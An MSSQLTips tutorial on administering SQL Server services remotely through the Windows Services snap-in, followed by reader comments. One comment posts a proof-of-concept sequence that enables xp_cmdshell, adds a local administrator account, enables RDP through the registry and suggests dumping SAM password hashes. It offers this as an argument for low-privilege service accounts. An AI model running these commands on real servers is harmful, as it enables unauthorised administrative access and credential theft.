Using the Services applet to Administer SQL Server Services Remotely

By:   |   Updated: 2010-03-24   |   Comments (6)   |   Related: 1 | 2 | 3 | 4 | > Tools


Problem

I am a SQL Server Database Administrator responsible for multiple SQL Servers. To perform administrative tasks on these SQL Servers, I login to those servers, using Remote Desktop. In doing so, my desktop is overlapped with the remote Server's desktop.  This causes an inconvenience for me to access the active programs on my workstation.  I would like to perform as much SQL Server administration as possible from my workstation and avoid using Remote Desktop as much as possible.  Do you have any suggestions?

Solution

To perform some administrative tasks such as starting and stopping SQL Server, change the SQL Server startup type and change the logon on account, you can use the services snap-in from your local machine.  There are multiple ways to launch the services snap-in.  You can click on the Start button and in the search box, type services.msc and press the Enter key. You can also open the Services snap-in from Administrative Tools.

Since SQL Server is installed as a service on the Windows Server, it is possible to administer few things related to SQL Server from Services console.  The image displayed below is of the Services MMC snap-in displaying the services of the local machine. You can identify this by looking at Services (Local) in the left section of the snap-in.

it is possible to administer few things related to SQL Server from Services console

Logging on to Services of a Remote System

As shown in the picture below, right click on the Services (Local) and from the pop-up menu choose Connect to another computer.... Then a dialog box is displayed, where you can select the option: "Another computer" and there you can type in the name of the Remote Windows Server on which SQL Server is installed. You can also browse for the remote server by choosing browse.

"Another computer" and there you can type in the name of the Remote Windows Server on which SQL Server is installed

The remote system's services are displayed in the Services snap-in, which can be found looking at the Services (Remote System Name) on the left side of the snap-in. The image displayed is the list of services that are currently configured on the remote server. Scroll down the services list in order to display the services related to SQL Server. Notice that there are 4 named instances of SQL Server, with its respective SQL Server Agent and other SQL Server components such as Full Text Search, Analysis Services, Reporting Services, etc.

there are 4 named instances of SQL Server, with its respective SQL Server Agent and other SQL Server components such as Full Text Search, Analysis Services, Reporting Services, etc.

You can monitor the Status, Startup Type and the Log On account information for the SQL Server Services and modify the respective settings from the Services snap-in.  Let's see how we can take care of each of those items in the sections below.

Starting SQL Server

You can connect to a SQL Server from Management Studio only if the SQL Server instance is started.   One way to start the service is by using the Services.msc application.  In the Services.msc application, right click on SQL Server service which needs to be started (in this case the SQL Server TESTENVR).

connect to a SQL Server from Management Studio only if the SQL Server instance is started.

You can start a SQL Server from the popup menu by choosing start or choosing All Tasks and then Start. The other menu options cannot be chosen, since they are context sensitive. That is, if you right click on a SQL Server Service which is currently running or whose status is started, the other menu options such as Stop, Pause and Restart would be enabled and available to choose.

This way the SQL Server can be started, stopped, paused, resumed or restarted depending on its current status.

Changing the startup type of a SQL Server Service

The image in the previous step has a menu option "Properties", which can be used to look at how that SQL Server service is configured and if needed can be modified. This step starts with choosing the properties option in the above displayed screen.

The below displayed properties box is displayed when the Properties option is chosen, "General" tab is displayed by default. In this tab, general properties of the service are displayed, such as the Service name, Display name, Description, location of the executable for the service and the current startup type is displayed, in this case it is "Manual". If this service has to start automatically with Windows Server, then we need to set that option here by choosing "Automatic" from the dropdown list.

look at how that SQL Server service is configured and if needed can be modified

Notice that you have options to Start, Stop, Pause and Resume from this dialog box also. When done with choosing the startup type, click OK button for the settings to be saved.

Changing the log on account for a SQL Server

In order to review the Log on Account details for the SQL Server service, click on the "Log On" tab from the properties dialog box.  In this example, I am changing the current Log on account to a specific service account which is a local account on the machine, so I selected the option "This account" and typed in the account name, password and retyped the password.

If the account is a domain account, it needs to be in the format of Domain\AccountName. Here in this example it is .\AccountName and the "." indicates it is the local machine domain.

Changing the log on account for a SQL Server

Once all the changes are done, click "OK" for all the changes to be saved and will be effective from the next time that service starts. The image displayed below shows that the settings which we have made such as the startup type and the log on account.

click "OK" for all the changes to be saved and will be effective from the next time that service starts
Next Steps
  • For Administering Servers with SQL Server Management Studio Books Online
  • For Managing Services How-to Topics (SQL Server Configuration Manager) Books Online


sql server categories

sql server webinars

subscribe to mssqltips

sql server tutorials

sql server white papers

next tip



About the author
MSSQLTips author Bru Medishetty Bru Medishetty focuses on Performance Monitoring and Tuning as well as planning and implementing Disaster Recovery solutions.

This author pledges the content of this article is based on professional experience and not AI generated.

View all my tips


Article Last Updated: 2010-03-24

Comments For This Article




Thursday, June 9, 2011 - 4:19:41 PM - kens Back To Top (13993)

In addition, changing service accounts with the services applet fails to change both various registry and local security policy settings. A Microsoft kb article outlines the exact settings that the applet is not quite smart enough to change automatically. 

How to change the SQL Server or SQL Server Agent service account without using SQL Enterprise Manager in SQL Server 2000 or SQL Server Configuration Manager in SQL Server 2005  http://support.microsoft.com/kb/283811

 

Tuesday, June 7, 2011 - 4:41:08 AM - SQLAbeman Back To Top (13982)

I would have liked to see some POC code such as;-

Vulnerability Within The MS SQL Service account.

Scenario

This vulnerability only exists within the Service account, if it is set to a high level account (Such as Administrator (local or domain) or LOCAL SYSTEM.

The user auctioning this MUST have access to the SA account or to an SQL account with System Admin privs.

The following steps allow a user with limited privileges (On local machine) to log into SQL as SA or similar and create a local admin user and password on the related SQL server box, or even a remote server

POC

Create a local user with USER privileges and log onto the local machine as this user.

Load SQL management studio and log onto WHATEVER server/machine as SA or similar which has the service account for SQL set to LOCAL SYSTEM or ADMIN etc.

This could be the local machine for testing or a remote server at your workplace, or even a remote server in a remote workplace (A lot of people will use LOCAL SYSTEM as the service account without thinking on initial configuration of the server)

--Start of code

EXEC master.dbo.sp_configure 'show advanced options', 1

RECONFIGURE

EXEC master.dbo.sp_configure 'xp_cmdshell', 1

RECONFIGURE

--Configures the server for xp_cmdshell

 

exec xp_cmdshell 'net user ACCESSADMIN Password123 /ADD'

--Adds a user called ACCESSADMIN with a password of ACCESSPASSWORD

exec xp_cmdshell 'net localgroup administrators Password123 /ADD'

--Adds the user to local admin group on the server

exec xp_cmdshell 'REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections'

--If this is a server then it *should* come back as 0 (enabled)

exec xp_cmdshell 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

--If the above value is 1 it changes it to 0 forcing overwrite in DOS, enabling RDP

RDP Session

You are now able to connect remotely to the server / machine using the standard RDP session over 3389 (As long as firewall not blocking)

Install PWD Dump and sniff the remaining passwords from cached logons with inside the SAM.

POC complete-------

Conclusion:-

To limited the surface area attack the service account, running SQL server should be set to a low level account with limited privileges which doesn’t have the admin functions enabled above in the POC code.

Further to Note:-

This has NOT been tested for the SQL Server Agent Service …..

Tuesday, June 7, 2011 - 4:39:31 AM - SQLAbeman Back To Top (13981)

This is a commonly known issue , noone should set SQL to run under system.

xp_cmdshell is the killer hole in there for you , if it runs under system , a limited user simply adds a local admin to the box via SQL and RDPs to it. Now you see why its a killer hole.

Point 2 :- Never restart SQL server service using anything other than the SQL management configuration , it can blow up the SIDS.

Just some finer points to look at , and overall , this is old hat.....

SQLAbeman

 

Wednesday, March 24, 2010 - 9:12:08 PM - Bru Medishetty Back To Top (5110)

Yeah Brian I agree with your suggestion about not changing the service account on a clustered environment.I must have included that as a point of caution.

Wednesday, March 24, 2010 - 1:13:19 PM - K. Brian Kelley Back To Top (5108)

Actually, it is not recommended that you change the service account using the Services applet for any version of SQL Server. Specifically with SQL Server 2000, Enterprise Manager changes the file and registry permissions for the service accounts. This does not happen with you use the Services applet. This can be catastrophic, especially on a clustered instance.


Wednesday, March 24, 2010 - 8:28:58 AM - unclebiguns Back To Top (5105)
You need to be careful changing the service account using the services applet especially with 2005/2008. You should use SQL Server Configuration Manager to do that as it makes sure that the service account is placed in the correct local groups for security, while you need to do this if you make the change in the services applet.














get free sql tips
agree to terms